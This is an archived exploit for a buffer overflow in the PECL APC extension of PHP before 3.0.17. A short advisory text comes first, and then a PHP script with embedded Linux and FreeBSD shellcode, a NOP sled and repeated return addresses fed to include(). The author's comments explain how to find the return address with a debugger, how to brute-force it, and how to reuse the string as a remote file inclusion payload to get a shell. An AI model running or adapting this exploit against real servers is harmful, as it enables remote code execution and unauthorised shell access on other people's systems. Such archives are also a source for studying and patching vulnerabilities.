source: https://www.securityfocus.com/bid/28457/info PECL Alternative PHP Cache (APC) extension is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions. Versions prior to APC 3.0.17 are affected. * Feel free to redistribute in any form as long as you leave this notice intact. * * WHAT IS THIS? Code that can run server-side and exploit a flaw in PHP-APC 3.0.11-3.0.16 * to set up a reverse shell running as the same user that apache runs under. * * WHAT SYSTEMS ARE VULNERABLE? Any system running PHP with APC 3.0.11 through CVS as of * March 22nd, 2008 (this includes 3.0.16) is vulnerable. This exploit was written * specifically to target the case of PHP being ran by the webserver via mod_php, and * there is included shellcode for x86 Linux and x86 FreeBSD. * * HOW DO I GET IT TO WORK? This is not a script that will work for scriptkiddies, or * anyone lacking understanding of buffer overflow exploits. Under Linux, it appears that * the APC module gets loaded at a different location each time apache is started, so you * need to figure out what the return address is (RETADDR below) and fill it in. Make sure * you keep byteorder straight (i.e. on an x86 platform, if you want to jump to 0xbfa784f8 * you need to have a RETADDR of \xa7\xbf\xf8\x84. * * WELL HOW THE HECK DO I DO THAT? The easiest way to figure out the return address in * is to attach gdb to one of the apache children, break it on the exploited function * in apc.c, and find the address of fileinfo->fullpath and then add a bit to it so you * land in the NOOP padding. * * WILL YOU HELP ME? I won't help you break into any systems that aren't yours, so * no, please don't contact me for technical support for this script. I do consulting * work, however, and my rates are very reasonable. * * WHAT IF I CANT DO THAT? Well, if you can't do that you're probably not working on * a machine that you have permission to be doing this sort of thing against, so you should * really consider buggering off * * BUT DOESNT THAT MAKE THIS VULNERABILITY HARMLESS? No, it certainly doesn't, because * apache has a (good) habit of respawning itself, so if you needed to exploit the * vulnerability without the privilege of being able to attach a debugger to apache, * you can just brute force it. The easiest way to do that would be to have the return * address be passed to this script via a $_GET variable, and then set some script up * to loop through the values you need to try. As you increase the amount of pre-shellcode * nooop padding, this actually becomes an easier and easier task, as you can jump quite * a bit on each try. * * SO IS THIS EXPLOIT USELESS IF I CANT RUN PHP ON THE TARGET MACHINE? Yes. * * SO IS THIS VULNERABILITY USELESS IF I CANT RUN PHP ON THE TARGET? No! This vulnerability * opens people up to real attack in any case where include() and friends are called with * user input. This is a SUPER-set of a well known class of vulnerabilities in PHP * scripts called remote file inclusion (RFI) vulnerabilities. Standard RFI vulnerabilities * are easily mitigated by allow_url_fopen being turned off and (to deal with NULs) magic * quotes turned on. This attack vector requires neither! * * TELL ME MORE ABOUT THE SHELLCODE. The Linux shellcode is courtesy http://shellcode.org/Shellcode/linux/bind/ * and launches a reverse shell on port 20000. The FreeBSD shellcode is the author's own, * and it doesn't properly initalize a sockaddr_in so it will bind to a different port at different * times (this is to be considered a feature, not a bug) but will consistently take a port above 1024. */ // Delete this line, or you'll surely be disappointed. I don't plan on this being used as an RFI payload... exit(); // Set the system you're trying to target here $system = 'Linux'; if($system == 'FreeBSD') { /* How many NOOPs to write before the shellcode */ define('PREPAD', 400); define('SHELLCODE', "\x31\xc0\x50\xeb\x7d\xcd\x80\xc3\x5b\xb0\x17\xe8\xf5\xff\xff\xff\x31\xc0\x88\x43\x07\x88\x43\x0b\x89\x43\x10\x40\x50\x40\x50\xb0\x61\xe8\xdf\xff\xff\xff\x89\xc1\xb2\x10\x52\x8d\x53\x0c\x52\x50\xb0\x68\xe8\xce\xff\xff\xff\xb0\x6a\xe8\xc7\xff\xff\xff\x31\xc0\x50\x50\x51\xb0\x1e\xe8\xbb\xff\xff\xff\x89\xc2\x5a\x50\x31\xd2\xb2\x03\xb0\x5a\xe8\xac\xff\xff\xff\x66\xff\x44\x24\x04\xfe\xca\x75\xf0\xb0\x02\xe8\x9c\xff\xff\xff\x85\xc0\x75\xd1\x31\xc9\x8d\x43\x08\x51\x50\x89\xe0\x50\x50\x53\x31\xc0\xb0\x3b\xe8\x83\xff\xff\xff\xe8\x81\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x2d\x69\x20\x58\x80\x80\xa7\x22\xff\xff\xef\x1d\xff\xff\xef\x1d\x1d"); /* Our target return address */ define ('RETADDR', "\xbf\xbf\xb8\xc5"); /* Padding after the shellcode and before the return address, for alignment purposes */ define ('POSTPAD', 12); } else { define('PREPAD', 4000); define('SHELLCODE',"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80"); define ('POSTPAD', 17); define ('RETADDR', "\xa7\xbf\xf8\x84"); } define ('RETADDRCOUNT', 500); $string = ""; for($i = 0; $i < PREPAD; ++$i) { $string .= "\x90"; } $string .= SHELLCODE; for($i = 0; $i < POSTPAD; ++$i) { $string .= "\x90"; } for($i = 0; $i < RETADDRCOUNT; ++$i) { $string .= RETADDR; } // At this point you could print the string out and use it to attack remote scripts, if you wanted. include($string);